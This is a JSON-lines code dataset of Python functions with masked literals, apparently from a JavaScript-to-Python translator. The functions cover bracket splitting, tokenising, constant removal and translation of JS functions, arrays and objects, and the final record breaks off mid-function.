{"signature": "def bracket_split(source, brackets=('<STR_LIT>', '<STR_LIT:{}>', '<STR_LIT>'), strip=False):", "body": "starts = [e[<NUM_LIT:0>] for e in brackets]<EOL>in_bracket = <NUM_LIT:0><EOL>n = <NUM_LIT:0><EOL>last = <NUM_LIT:0><EOL>while n < len(source):<EOL><INDENT>e = source[n]<EOL>if not in_bracket and e in starts:<EOL><INDENT>in_bracket = <NUM_LIT:1><EOL>start = n<EOL>b_start, b_end = brackets[starts.index(e)]<EOL><DEDENT>elif in_bracket:<EOL><INDENT>if e == b_start:<EOL><INDENT>in_bracket += <NUM_LIT:1><EOL><DEDENT>elif e == b_end:<EOL><INDENT>in_bracket -= <NUM_LIT:1><EOL>if not in_bracket:<EOL><INDENT>if source[last:start]:<EOL><INDENT>yield source[last:start]<EOL><DEDENT>last = n + <NUM_LIT:1><EOL>yield source[start + strip:n + <NUM_LIT:1> - strip]<EOL><DEDENT><DEDENT><DEDENT>n += <NUM_LIT:1><EOL><DEDENT>if source[last:]:<EOL><INDENT>yield source[last:]<EOL><DEDENT>", "docstring": "DOES NOT RETURN EMPTY STRINGS (can only return empty bracket content if strip=True)", "id": "f11658:m3"}
{"signature": "def pass_bracket(source, start, bracket='<STR_LIT>'):", "body": "e = bracket_split(source[start:], [bracket], False)<EOL>try:<EOL><INDENT>cand = next(e)<EOL><DEDENT>except StopIteration:<EOL><INDENT>return None, None<EOL><DEDENT>if not cand.strip():  <EOL><INDENT>try:<EOL><INDENT>res = next(e)<EOL>return res, start + len(cand) + len(res)<EOL><DEDENT>except StopIteration:<EOL><INDENT>return None, None<EOL><DEDENT><DEDENT>elif cand[-<NUM_LIT:1>] == bracket[<NUM_LIT:1>]:<EOL><INDENT>return cand, start + len(cand)<EOL><DEDENT>else:<EOL><INDENT>return None, None<EOL><DEDENT>", "docstring": "Returns content of brackets with brackets and first pos after brackets\n     if source[start] is followed by some optional white space and brackets.\n     Otherwise None", "id": "f11658:m4"}
{"signature": "def except_token(source, start, token, throw=True):", "body": "start = pass_white(source, start)<EOL>if start < len(source) and source[start] == token:<EOL><INDENT>return start + <NUM_LIT:1><EOL><DEDENT>if throw:<EOL><INDENT>raise SyntaxError('<STR_LIT>' % token)<EOL><DEDENT>return None<EOL>", "docstring": "Token can be only a single char. Returns position after token if found. Otherwise raises syntax error if throw\n    otherwise returns None", "id": "f11658:m8"}
{"signature": "def except_keyword(source, start, keyword):", "body": "start = pass_white(source, start)<EOL>kl = len(keyword)  <EOL>if kl + start > len(source):<EOL><INDENT>return None<EOL><DEDENT>if source[start:start + kl] != keyword:<EOL><INDENT>return None<EOL><DEDENT>if kl + start < len(source) and source[start + kl] in IDENTIFIER_PART:<EOL><INDENT>return None<EOL><DEDENT>return start + kl<EOL>", "docstring": "Returns position after keyword if found else None\n        Note: skips white space", "id": "f11658:m9"}
{"signature": "def parse_identifier(source, start, throw=True):", "body": "start = pass_white(source, start)<EOL>end = start<EOL>if not end < len(source):<EOL><INDENT>if throw:<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT>return None<EOL><DEDENT>if source[end] not in IDENTIFIER_START:<EOL><INDENT>if throw:<EOL><INDENT>raise SyntaxError('<STR_LIT>' % source[end])<EOL><DEDENT>return None<EOL><DEDENT>end += <NUM_LIT:1><EOL>while end < len(source) and source[end] in IDENTIFIER_PART:<EOL><INDENT>end += <NUM_LIT:1><EOL><DEDENT>if not is_valid_lval(source[start:end]):<EOL><INDENT>if throw:<EOL><INDENT>raise SyntaxError(<EOL>'<STR_LIT>' % source[start:end])<EOL><DEDENT>return None<EOL><DEDENT>return source[start:end], end<EOL>", "docstring": "passes white space from start and returns first identifier,\n       if identifier invalid and throw raises SyntaxError otherwise returns None", "id": "f11658:m10"}
{"signature": "def argsplit(args, sep='<STR_LIT:U+002C>'):", "body": "parsed_len = <NUM_LIT:0><EOL>last = <NUM_LIT:0><EOL>splits = []<EOL>for e in bracket_split(args, brackets=['<STR_LIT>', '<STR_LIT>', '<STR_LIT:{}>']):<EOL><INDENT>if e[<NUM_LIT:0>] not in {'<STR_LIT:(>', '<STR_LIT:[>', '<STR_LIT:{>'}:<EOL><INDENT>for i, char in enumerate(e):<EOL><INDENT>if char == sep:<EOL><INDENT>splits.append(args[last:parsed_len + i])<EOL>last = parsed_len + i + <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>parsed_len += len(e)<EOL><DEDENT>splits.append(args[last:])<EOL>return splits<EOL>", "docstring": "used to split JS args (it is not that simple as it seems because\n       sep can be inside brackets).\n\n       pass args *without* brackets!\n\n       Used also to parse array and object elements, and more", "id": "f11658:m11"}
{"signature": "def split_add_ops(text):", "body": "n = <NUM_LIT:0><EOL>text = text.replace('<STR_LIT>', '<STR_LIT>').replace(<EOL>'<STR_LIT>', '<STR_LIT>')  <EOL>spotted = False  <EOL>last = <NUM_LIT:0><EOL>while n < len(text):<EOL><INDENT>e = text[n]<EOL>if e == '<STR_LIT:+>' or e == '<STR_LIT:->':<EOL><INDENT>if spotted:<EOL><INDENT>yield text[last:n].replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>yield e<EOL>last = n + <NUM_LIT:1><EOL>spotted = False<EOL><DEDENT><DEDENT>elif e == '<STR_LIT:/>' or e == '<STR_LIT:*>' or e == '<STR_LIT:%>':<EOL><INDENT>spotted = False<EOL><DEDENT>elif e != '<STR_LIT:U+0020>':<EOL><INDENT>spotted = True<EOL><DEDENT>n += <NUM_LIT:1><EOL><DEDENT>yield text[last:n].replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Specialized function splitting text at add/sub operators.\n    Operands are *not* translated. Example result ['op1', '+', 'op2', '-', 'op3']", "id": "f11658:m12"}
{"signature": "def split_at_any(text,<EOL>lis,<EOL>translate=False,<EOL>not_before=[],<EOL>not_after=[],<EOL>validitate=None):", "body": "lis.sort(key=lambda x: len(x), reverse=True)<EOL>last = <NUM_LIT:0><EOL>n = <NUM_LIT:0><EOL>text_len = len(text)<EOL>while n < text_len:<EOL><INDENT>if any(text[:n].endswith(e)<EOL>for e in not_before):  <EOL><INDENT>n += <NUM_LIT:1><EOL>continue<EOL><DEDENT>for e in lis:<EOL><INDENT>s = len(e)<EOL>if s + n > text_len:<EOL><INDENT>continue<EOL><DEDENT>if validitate and not validitate(e, text[:n], text[n + s:]):<EOL><INDENT>continue<EOL><DEDENT>if any(text[n + s:].startswith(e)<EOL>for e in not_after):  <EOL><INDENT>n += <NUM_LIT:1><EOL>break<EOL><DEDENT>if e == text[n:n + s]:<EOL><INDENT>yield text[last:n] if not translate else translate(<EOL>text[last:n])<EOL>yield e<EOL>n += s<EOL>last = n<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>n += <NUM_LIT:1><EOL><DEDENT><DEDENT>yield text[last:n] if not translate else translate(text[last:n])<EOL>", "docstring": "doc", "id": "f11658:m13"}
{"signature": "def split_at_single(text, sep, not_before=[], not_after=[]):", "body": "n = <NUM_LIT:0><EOL>lt, s = len(text), len(sep)<EOL>last = <NUM_LIT:0><EOL>while n < lt:<EOL><INDENT>if not s + n > lt:<EOL><INDENT>if sep == text[n:n + s]:<EOL><INDENT>if any(text[last:n].endswith(e) for e in not_before):<EOL><INDENT>pass<EOL><DEDENT>elif any(text[n + s:].startswith(e) for e in not_after):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>yield text[last:n]<EOL>last = n + s<EOL>n += s - <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>n += <NUM_LIT:1><EOL><DEDENT>yield text[last:]<EOL>", "docstring": "Works like text.split(sep) but separated fragments\n    cant end with not_before or start with not_after", "id": "f11658:m14"}
{"signature": "def do_statement(source, start):", "body": "start = pass_white(source, start)<EOL>if not start < len(source):  <EOL><INDENT>return None, start<EOL><DEDENT>if any(startswith_keyword(source[start:], e) for e in {'<STR_LIT>', '<STR_LIT:default>'}):<EOL><INDENT>return None, start<EOL><DEDENT>rest = source[start:]<EOL>for key, meth in KEYWORD_METHODS.items(<EOL>):  <EOL><INDENT>if rest.startswith(key):<EOL><INDENT>if len(key) == len(rest) or rest[len(key)] not in IDENTIFIER_PART:<EOL><INDENT>return meth(source, start)<EOL><DEDENT><DEDENT><DEDENT>if rest[<NUM_LIT:0>] == '<STR_LIT:{>':  <EOL><INDENT>return do_block(source, start)<EOL><DEDENT>cand = parse_identifier(source, start, False)<EOL>if cand is not None:  <EOL><INDENT>label, cand_start = cand<EOL>cand_start = pass_white(source, cand_start)<EOL>if source[cand_start] == '<STR_LIT::>':<EOL><INDENT>return do_label(source, start)<EOL><DEDENT><DEDENT>return do_expression(source, start)<EOL>", "docstring": "returns none if not found other functions that begin with 'do_' raise\n    also this do_ type function passes white space", "id": "f11659:m5"}
{"signature": "def translate_flow(source):", "body": "global TO_REGISTER<EOL>TO_REGISTER = []<EOL>return do_block('<STR_LIT>' % source, <NUM_LIT:0>)[<NUM_LIT:0>], TO_REGISTER<EOL>", "docstring": "Source cant have arrays, object, constant or function literals.\n       Returns PySource and variables to register", "id": "f11659:m23"}
{"signature": "def translate_js(js, top=TOP_GLOBAL):", "body": "<EOL>no_const, constants = remove_constants(js)<EOL>no_obj, objects, obj_count = remove_objects(no_const)<EOL>no_arr, arrays, arr_count = remove_arrays(no_obj)<EOL>reset_inline_count()<EOL>no_func, hoisted, inline = remove_functions(no_arr)<EOL>py_seed, to_register = translate_flow(no_func)<EOL>top += '<STR_LIT>' % str(to_register + list(hoisted.keys()))<EOL>defs = '<STR_LIT>'<EOL>for nested_name, nested_info in hoisted.items():<EOL><INDENT>nested_block, nested_args = nested_info<EOL>new_code = translate_func('<STR_LIT>', nested_block,<EOL>nested_args)<EOL>new_code += '<STR_LIT>' % repr(nested_name)<EOL>defs += new_code + '<STR_LIT>' % repr(<EOL>nested_name)<EOL><DEDENT>for nested_name, nested_info in inline.items():<EOL><INDENT>nested_block, nested_args = nested_info<EOL>new_code = translate_func(nested_name, nested_block, nested_args)<EOL>py_seed = inject_before_lval(py_seed,<EOL>nested_name.split('<STR_LIT:@>')[<NUM_LIT:0>], new_code)<EOL><DEDENT>py_seed = defs + py_seed<EOL>for arr_lval, arr_code in arrays.items():<EOL><INDENT>translation, obj_count, arr_count = translate_array(<EOL>arr_code, arr_lval, obj_count, arr_count)<EOL>py_seed = inject_before_lval(py_seed, arr_lval, translation)<EOL><DEDENT>for obj_lval, obj_code in objects.items():<EOL><INDENT>translation, obj_count, arr_count = translate_object(<EOL>obj_code, obj_lval, obj_count, arr_count)<EOL>py_seed = inject_before_lval(py_seed, obj_lval, translation)<EOL><DEDENT>py_code = recover_constants(py_seed, constants)<EOL>return top + py_code<EOL>", "docstring": "js has to be a javascript source code.\n       returns equivalent python code.", "id": "f11661:m0"}
{"signature": "def translate_func(name, block, args):", "body": "inline = name.startswith('<STR_LIT>')<EOL>real_name = '<STR_LIT>'<EOL>if inline:<EOL><INDENT>name, real_name = name.split('<STR_LIT:@>')<EOL><DEDENT>arglist = '<STR_LIT:U+002CU+0020>'.join(args) + '<STR_LIT:U+002CU+0020>' if args else '<STR_LIT>'<EOL>code = '<STR_LIT>' % (name, arglist)<EOL>scope = \"<STR_LIT>\"  <EOL>for arg in args:<EOL><INDENT>scope += '<STR_LIT>' % (repr(arg), arg)<EOL><DEDENT>if real_name:<EOL><INDENT>scope += '<STR_LIT>' % (repr(real_name), name)<EOL><DEDENT>code += indent('<STR_LIT>' % scope)<EOL>block, nested_hoisted, nested_inline = remove_functions(block)<EOL>py_code, to_register = translate_flow(block)<EOL>to_register += list(nested_hoisted.keys())<EOL>if to_register:<EOL><INDENT>code += indent('<STR_LIT>' % str(to_register))<EOL><DEDENT>for nested_name, info in nested_hoisted.items():<EOL><INDENT>nested_block, nested_args = info<EOL>new_code = translate_func('<STR_LIT>', nested_block,<EOL>nested_args)<EOL>code += indent(new_code)<EOL>code += indent(<EOL>'<STR_LIT>' % repr(nested_name))<EOL>code += indent(<EOL>'<STR_LIT>' % repr(nested_name))<EOL><DEDENT>for nested_name, info in nested_inline.items():<EOL><INDENT>nested_block, nested_args = info<EOL>new_code = translate_func(nested_name, nested_block, nested_args)<EOL>py_code = inject_before_lval(py_code,<EOL>nested_name.split('<STR_LIT:@>')[<NUM_LIT:0>], new_code)<EOL><DEDENT>if py_code.strip():<EOL><INDENT>code += indent(py_code)<EOL><DEDENT>return code<EOL>", "docstring": "Translates functions and all nested functions to Python code.\n       name -  name of that function (global functions will be available under var while\n            inline will be available directly under this name )\n       block - code of the function (*with* brackets {} )\n       args - arguments that this function takes", "id": "f11661:m1"}
{"signature": "def is_empty_object(n, last):", "body": "if n.strip():<EOL><INDENT>return False<EOL><DEDENT>last = last.strip()<EOL>markers = {<EOL>'<STR_LIT:)>',<EOL>'<STR_LIT:;>',<EOL>}<EOL>if not last or last[-<NUM_LIT:1>] in markers:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "n may be the inside of block or object", "id": "f11662:m2"}
{"signature": "def is_object(n, last):", "body": "if is_empty_object(n, last):<EOL><INDENT>return True<EOL><DEDENT>if not n.strip():<EOL><INDENT>return False<EOL><DEDENT>if len(argsplit(n, '<STR_LIT:;>')) > <NUM_LIT:1>:<EOL><INDENT>return False<EOL><DEDENT>cands = argsplit(n, '<STR_LIT:U+002C>')<EOL>if not cands[-<NUM_LIT:1>].strip():<EOL><INDENT>return True  <EOL><DEDENT>for cand in cands:<EOL><INDENT>cand = cand.strip()<EOL>kv = argsplit(cand, '<STR_LIT::>')<EOL>if len(<EOL>kv<EOL>) > <NUM_LIT:2>:  <EOL><INDENT>kv = kv[<NUM_LIT:0>], '<STR_LIT::>'.join(kv[<NUM_LIT:1>:])<EOL><DEDENT>if len(kv) == <NUM_LIT:2>:<EOL><INDENT>k, v = kv<EOL>if not is_lval(k.strip()):<EOL><INDENT>return False<EOL><DEDENT>v = v.strip()<EOL>if v.startswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>if v[<NUM_LIT:0>] == '<STR_LIT:{>':  <EOL><INDENT>return False<EOL><DEDENT>for e in KEYWORD_METHODS:<EOL><INDENT>if v.startswith(e) and len(e) < len(v) and v[len(<EOL>e)] not in IDENTIFIER_PART:<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>elif not (cand.startswith('<STR_LIT>') or cand.startswith('<STR_LIT>')):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "n may be the inside of block or object.\n       last is the code before object", "id": "f11662:m3"}
{"signature": "def remove_objects(code, count=<NUM_LIT:1>):", "body": "replacements = {}  <EOL>br = bracket_split(code, ['<STR_LIT:{}>', '<STR_LIT>'])<EOL>res = '<STR_LIT>'<EOL>last = '<STR_LIT>'<EOL>for e in br:<EOL><INDENT>if e[<NUM_LIT:0>] == '<STR_LIT:{>':<EOL><INDENT>n, temp_rep, cand_count = remove_objects(e[<NUM_LIT:1>:-<NUM_LIT:1>], count)<EOL>if is_object(n, last):<EOL><INDENT>res += '<STR_LIT:U+0020>' + OBJECT_LVAL % count<EOL>replacements[OBJECT_LVAL % count] = e<EOL>count += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>res += '<STR_LIT>' % n<EOL>count = cand_count<EOL>replacements.update(temp_rep)<EOL><DEDENT><DEDENT>elif e[<NUM_LIT:0>] == '<STR_LIT:[>':<EOL><INDENT>if is_array(last):<EOL><INDENT>res += e  <EOL><DEDENT>else:  <EOL><INDENT>n, rep, count = remove_objects(e[<NUM_LIT:1>:-<NUM_LIT:1>], count)<EOL>res += '<STR_LIT>' % n<EOL>replacements.update(rep)<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>res += e<EOL><DEDENT>last = e  <EOL><DEDENT>return res, replacements, count<EOL>", "docstring": "This function replaces objects with OBJECTS_LVALS, returns new code, replacement dict and count.\n        count arg is the number that should be added to the LVAL of the first replaced object", "id": "f11662:m5"}
{"signature": "def remove_arrays(code, count=<NUM_LIT:1>):", "body": "res = '<STR_LIT>'<EOL>last = '<STR_LIT>'<EOL>replacements = {}<EOL>for e in bracket_split(code, ['<STR_LIT>']):<EOL><INDENT>if e[<NUM_LIT:0>] == '<STR_LIT:[>':<EOL><INDENT>if is_array(last):<EOL><INDENT>name = ARRAY_LVAL % count<EOL>res += '<STR_LIT:U+0020>' + name<EOL>replacements[name] = e<EOL>count += <NUM_LIT:1><EOL><DEDENT>else:  <EOL><INDENT>cand, new_replacements, count = remove_arrays(e[<NUM_LIT:1>:-<NUM_LIT:1>], count)<EOL>res += '<STR_LIT>' % cand<EOL>replacements.update(new_replacements)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>res += e<EOL><DEDENT>last = e<EOL><DEDENT>return res, replacements, count<EOL>", "docstring": "removes arrays and replaces them with ARRAY_LVALS\n       returns new code and replacement dict\n       *NOTE* has to be called AFTER remove objects", "id": "f11662:m6"}
{"signature": "def translate_array(array, lval, obj_count=<NUM_LIT:1>, arr_count=<NUM_LIT:1>):", "body": "array = array[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>array, obj_rep, obj_count = remove_objects(array, obj_count)<EOL>array, arr_rep, arr_count = remove_arrays(array, arr_count)<EOL>array, hoisted, inline = functions.remove_functions(array, all_inline=True)<EOL>assert not hoisted<EOL>arr = []<EOL>for e in argsplit(array, '<STR_LIT:U+002C>'):<EOL><INDENT>e = exp_translator(e.replace('<STR_LIT:\\n>', '<STR_LIT>'))<EOL>arr.append(e if e else '<STR_LIT:None>')<EOL><DEDENT>arr = '<STR_LIT>' % (lval, '<STR_LIT:U+002C>'.join(arr))<EOL>for nested_name, nested_info in inline.items():<EOL><INDENT>nested_block, nested_args = nested_info<EOL>new_def = FUNC_TRANSLATOR(nested_name, nested_block, nested_args)<EOL>arr = new_def + arr<EOL><DEDENT>for lval, obj in obj_rep.items():<EOL><INDENT>new_def, obj_count, arr_count = translate_object(<EOL>obj, lval, obj_count, arr_count)<EOL>arr = new_def + arr<EOL><DEDENT>for lval, obj in arr_rep.items():<EOL><INDENT>new_def, obj_count, arr_count = translate_array(<EOL>obj, lval, obj_count, arr_count)<EOL>arr = new_def + arr<EOL><DEDENT>return arr, obj_count, arr_count<EOL>", "docstring": "array has to be any js array for example [1,2,3]\n       lval has to be name of this array.\n       Returns python code that adds lval to the PY scope it should be put before lval", "id": "f11662:m10"}
{"signature": "def _ensure_regexp(source, n):  ", "body": "markers = '<STR_LIT>'<EOL>k = <NUM_LIT:0><EOL>while True:<EOL><INDENT>k += <NUM_LIT:1><EOL>if n - k < <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>char = source[n - k]<EOL>if char in markers:<EOL><INDENT>return True<EOL><DEDENT>if char != '<STR_LIT:U+0020>' and char != '<STR_LIT:\\n>':<EOL><INDENT>break<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "returns True if regexp starts at n else returns False\n      checks whether it is not a division", "id": "f11663:m1"}
{"signature": "def parse_num(source, start, charset):", "body": "while start < len(source) and source[start] in charset:<EOL><INDENT>start += <NUM_LIT:1><EOL><DEDENT>return start<EOL>", "docstring": "Returns a first index>=start of chat not in charset", "id": "f11663:m2"}
{"signature": "def parse_exponent(source, start):", "body": "if not source[start] in {'<STR_LIT:e>', '<STR_LIT:E>'}:<EOL><INDENT>if source[start] in IDENTIFIER_PART:<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT>return start<EOL><DEDENT>start += <NUM_LIT:1><EOL>if source[start] in {'<STR_LIT:->', '<STR_LIT:+>'}:<EOL><INDENT>start += <NUM_LIT:1><EOL><DEDENT>FOUND = False<EOL>while source[start] in NUMS:<EOL><INDENT>FOUND = True<EOL>start += <NUM_LIT:1><EOL><DEDENT>if not FOUND or source[start] in IDENTIFIER_PART:<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT>return start<EOL>", "docstring": "returns end of exponential, raises SyntaxError if failed", "id": "f11663:m3"}
{"signature": "def remove_constants(source):", "body": "source = '<STR_LIT:U+0020>' + source + '<STR_LIT:\\n>'<EOL>comments = []<EOL>inside_comment, single_comment = False, False<EOL>inside_single, inside_double = False, False<EOL>inside_regexp = False<EOL>regexp_class_count = <NUM_LIT:0><EOL>n = <NUM_LIT:0><EOL>while n < len(source):<EOL><INDENT>char = source[n]<EOL>if char == '<STR_LIT:\">' and not (inside_comment or inside_single<EOL>or inside_regexp):<EOL><INDENT>if not _is_cancelled(source, n):<EOL><INDENT>if inside_double:<EOL><INDENT>inside_double[<NUM_LIT:1>] = n + <NUM_LIT:1><EOL>comments.append(inside_double)<EOL>inside_double = False<EOL><DEDENT>else:<EOL><INDENT>inside_double = [n, None, <NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>elif char == \"<STR_LIT:'>\" and not (inside_comment or inside_double<EOL>or inside_regexp):<EOL><INDENT>if not _is_cancelled(source, n):<EOL><INDENT>if inside_single:<EOL><INDENT>inside_single[<NUM_LIT:1>] = n + <NUM_LIT:1><EOL>comments.append(inside_single)<EOL>inside_single = False<EOL><DEDENT>else:<EOL><INDENT>inside_single = [n, None, <NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>elif (inside_single or inside_double):<EOL><INDENT>if char in LINE_TERMINATOR:<EOL><INDENT>if _is_cancelled(source, n):<EOL><INDENT>if char == CR and source[n + <NUM_LIT:1>] == LF:<EOL><INDENT>n += <NUM_LIT:1><EOL><DEDENT>n += <NUM_LIT:1><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>raise SyntaxError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if inside_comment:<EOL><INDENT>if single_comment:<EOL><INDENT>if char in LINE_TERMINATOR:<EOL><INDENT>inside_comment[<NUM_LIT:1>] = n<EOL>comments.append(inside_comment)<EOL>inside_comment = False<EOL>single_comment = False<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>if char == '<STR_LIT:/>' and source[n - <NUM_LIT:1>] == '<STR_LIT:*>':<EOL><INDENT>inside_comment[<NUM_LIT:1>] = n + <NUM_LIT:1><EOL>comments.append(inside_comment)<EOL>inside_comment = False<EOL><DEDENT><DEDENT><DEDENT>elif inside_regexp:<EOL><INDENT>if not quiting_regexp:<EOL><INDENT>if char in LINE_TERMINATOR:<EOL><INDENT>raise SyntaxError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>if _is_cancelled(source, n):<EOL><INDENT>n += <NUM_LIT:1><EOL>continue<EOL><DEDENT>if char == '<STR_LIT:[>':<EOL><INDENT>regexp_class_count += <NUM_LIT:1><EOL><DEDENT>elif char == '<STR_LIT:]>':<EOL><INDENT>regexp_class_count = max(regexp_class_count - <NUM_LIT:1>, <NUM_LIT:0>)<EOL><DEDENT>elif char == '<STR_LIT:/>' and not regexp_class_count:<EOL><INDENT>quiting_regexp = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if char not in IDENTIFIER_START:<EOL><INDENT>inside_regexp[<NUM_LIT:1>] = n<EOL>comments.append(inside_regexp)<EOL>inside_regexp = False<EOL><DEDENT><DEDENT><DEDENT>elif char == '<STR_LIT:/>' and source[n - <NUM_LIT:1>] == '<STR_LIT:/>':<EOL><INDENT>single_comment = True<EOL>inside_comment = [n - <NUM_LIT:1>, None, <NUM_LIT:1>]<EOL><DEDENT>elif char == '<STR_LIT:*>' and source[n - <NUM_LIT:1>] == '<STR_LIT:/>':<EOL><INDENT>inside_comment = [n - <NUM_LIT:1>, None, <NUM_LIT:1>]<EOL><DEDENT>elif char == '<STR_LIT:/>' and source[n + <NUM_LIT:1>] not in ('<STR_LIT:/>', '<STR_LIT:*>'):<EOL><INDENT>if not _ensure_regexp(source, n):  <EOL><INDENT>n += <NUM_LIT:1><EOL>continue  <EOL><DEDENT>quiting_regexp = False<EOL>inside_regexp = [n, None, <NUM_LIT:2>]<EOL><DEDENT>elif not (inside_comment or inside_regexp):<EOL><INDENT>if (char in NUMS and<EOL>source[n - <NUM_LIT:1>] not in IDENTIFIER_PART) or char == '<STR_LIT:.>':<EOL><INDENT>if char == '<STR_LIT:.>':<EOL><INDENT>k = parse_num(source, n + <NUM_LIT:1>, NUMS)<EOL>if k == n + <NUM_LIT:1>:  <EOL><INDENT>n += <NUM_LIT:1><EOL>continue<EOL><DEDENT>k = parse_exponent(source, k)<EOL><DEDENT>elif char == '<STR_LIT:0>' and source[n + <NUM_LIT:1>] in {<EOL>'<STR_LIT:x>', '<STR_LIT:X>'<EOL>}:  <EOL><INDENT>k = parse_num(source, n + <NUM_LIT:2>, HEX)<EOL>if k == n + <NUM_LIT:2> or source[k] in IDENTIFIER_PART:<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>k = parse_num(source, n + <NUM_LIT:1>, NUMS)<EOL>if source[k] == '<STR_LIT:.>':<EOL><INDENT>k = parse_num(source, k + <NUM_LIT:1>, NUMS)<EOL><DEDENT>k = parse_exponent(source, k)<EOL><DEDENT>comments.append((n, k, <NUM_LIT:3>))<EOL>n = k<EOL>continue<EOL><DEDENT><DEDENT><DEDENT>n += <NUM_LIT:1><EOL><DEDENT>res = '<STR_LIT>'<EOL>start = <NUM_LIT:0><EOL>count = <NUM_LIT:0><EOL>constants = {}<EOL>for end, next_start, typ in comments:<EOL><INDENT>res += source[start:end]<EOL>start = next_start<EOL>if typ == <NUM_LIT:0>:  <EOL><INDENT>name = StringName<EOL><DEDENT>elif typ == <NUM_LIT:1>:  <EOL><INDENT>continue<EOL><DEDENT>elif typ == <NUM_LIT:2>:  <EOL><INDENT>name = RegExpName<EOL><DEDENT>elif typ == <NUM_LIT:3>:  <EOL><INDENT>name = NumberName<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError()<EOL><DEDENT>res += '<STR_LIT:U+0020>' + name % count + '<STR_LIT:U+0020>'<EOL>constants[name % count] = source[end:next_start]<EOL>count += <NUM_LIT:1><EOL><DEDENT>res += source[start:]<EOL>for e in WHITE:<EOL><INDENT>res = res.replace(e, '<STR_LIT:U+0020>')<EOL><DEDENT>res = res.replace(CR + LF, '<STR_LIT:\\n>')<EOL>for e in LINE_TERMINATOR:<EOL><INDENT>res = res.replace(e, '<STR_LIT:\\n>')<EOL><DEDENT>return res.strip(), constants<EOL>", "docstring": "Replaces Strings and Regexp literals in the source code with\n       identifiers and *removes comments*. Identifier is of the format:\n\n       PyJsStringConst(String const number)_ - for Strings\n       PyJsRegExpConst(RegExp const number)_ - for RegExps\n\n       Returns dict which relates identifier and replaced constant.\n\n       Removes single line and multiline comments from JavaScript source code\n       Pseudo comments (inside strings) will not be removed.\n\n       For example this line:\n       var x = \"/*PSEUDO COMMENT*/ TEXT //ANOTHER PSEUDO COMMENT\"\n       will be unaltered", "id": "f11663:m4"}
{"signature": "def recover_constants(py_source,<EOL>replacements):  ", "body": "for identifier, value in replacements.items():<EOL><INDENT>if identifier.startswith('<STR_LIT>'):<EOL><INDENT>py_source = py_source.replace(identifier,<EOL>'<STR_LIT>' % repr(value))<EOL><DEDENT>elif identifier.startswith('<STR_LIT>'):<EOL><INDENT>py_source = py_source.replace(<EOL>identifier, '<STR_LIT>' % unify_string_literals(value))<EOL><DEDENT>else:<EOL><INDENT>py_source = py_source.replace(identifier, '<STR_LIT>' % value)<EOL><DEDENT><DEDENT>return py_source<EOL>", "docstring": "Converts identifiers representing Js constants to the PyJs constants\n    PyJsNumberConst_1_ which has the true value of 5 will be converted to PyJsNumber(5)", "id": "f11663:m5"}
{"signature": "def unify_string_literals(js_string):", "body": "n = <NUM_LIT:0><EOL>res = '<STR_LIT>'<EOL>limit = len(js_string)<EOL>while n < limit:<EOL><INDENT>char = js_string[n]<EOL>if char == '<STR_LIT:\\\\>':<EOL><INDENT>new, n = do_escape(js_string, n)<EOL>res += new<EOL><DEDENT>else:<EOL><INDENT>res += char<EOL>n += <NUM_LIT:1><EOL><DEDENT><DEDENT>return res<EOL>", "docstring": "this function parses the string just like javascript\n       for example literal '\\d' in JavaScript would be interpreted\n       as 'd' - backslash would be ignored and in Pyhon this\n       would be interpreted as '\\\\d' This function fixes this problem.", "id": "f11663:m6"}
{"signature": "def do_escape(source, n):", "body": "if not n + <NUM_LIT:1> < len(source):<EOL><INDENT>return '<STR_LIT>'  <EOL><DEDENT>if source[n + <NUM_LIT:1>] in LINE_TERMINATOR:<EOL><INDENT>if source[n + <NUM_LIT:1>] == CR and n + <NUM_LIT:2> < len(source) and source[n + <NUM_LIT:2>] == LF:<EOL><INDENT>return source[n:n + <NUM_LIT:3>], n + <NUM_LIT:3><EOL><DEDENT>return source[n:n + <NUM_LIT:2>], n + <NUM_LIT:2><EOL><DEDENT>if source[n + <NUM_LIT:1>] in ESCAPE_CHARS:<EOL><INDENT>return source[n:n + <NUM_LIT:2>], n + <NUM_LIT:2><EOL><DEDENT>if source[n + <NUM_LIT:1>] in {'<STR_LIT:x>', '<STR_LIT:u>'}:<EOL><INDENT>char, length = ('<STR_LIT:u>', <NUM_LIT:4>) if source[n + <NUM_LIT:1>] == '<STR_LIT:u>' else ('<STR_LIT:x>', <NUM_LIT:2>)<EOL>n += <NUM_LIT:2><EOL>end = parse_num(source, n, HEX)<EOL>if end - n < length:<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT>return source[n - <NUM_LIT:2>:n + length], n + length<EOL><DEDENT>if source[n + <NUM_LIT:1>] in OCTAL:<EOL><INDENT>n += <NUM_LIT:1><EOL>end = parse_num(source, n, OCTAL)<EOL>end = min(end, n + <NUM_LIT:3>)  <EOL>max_num = 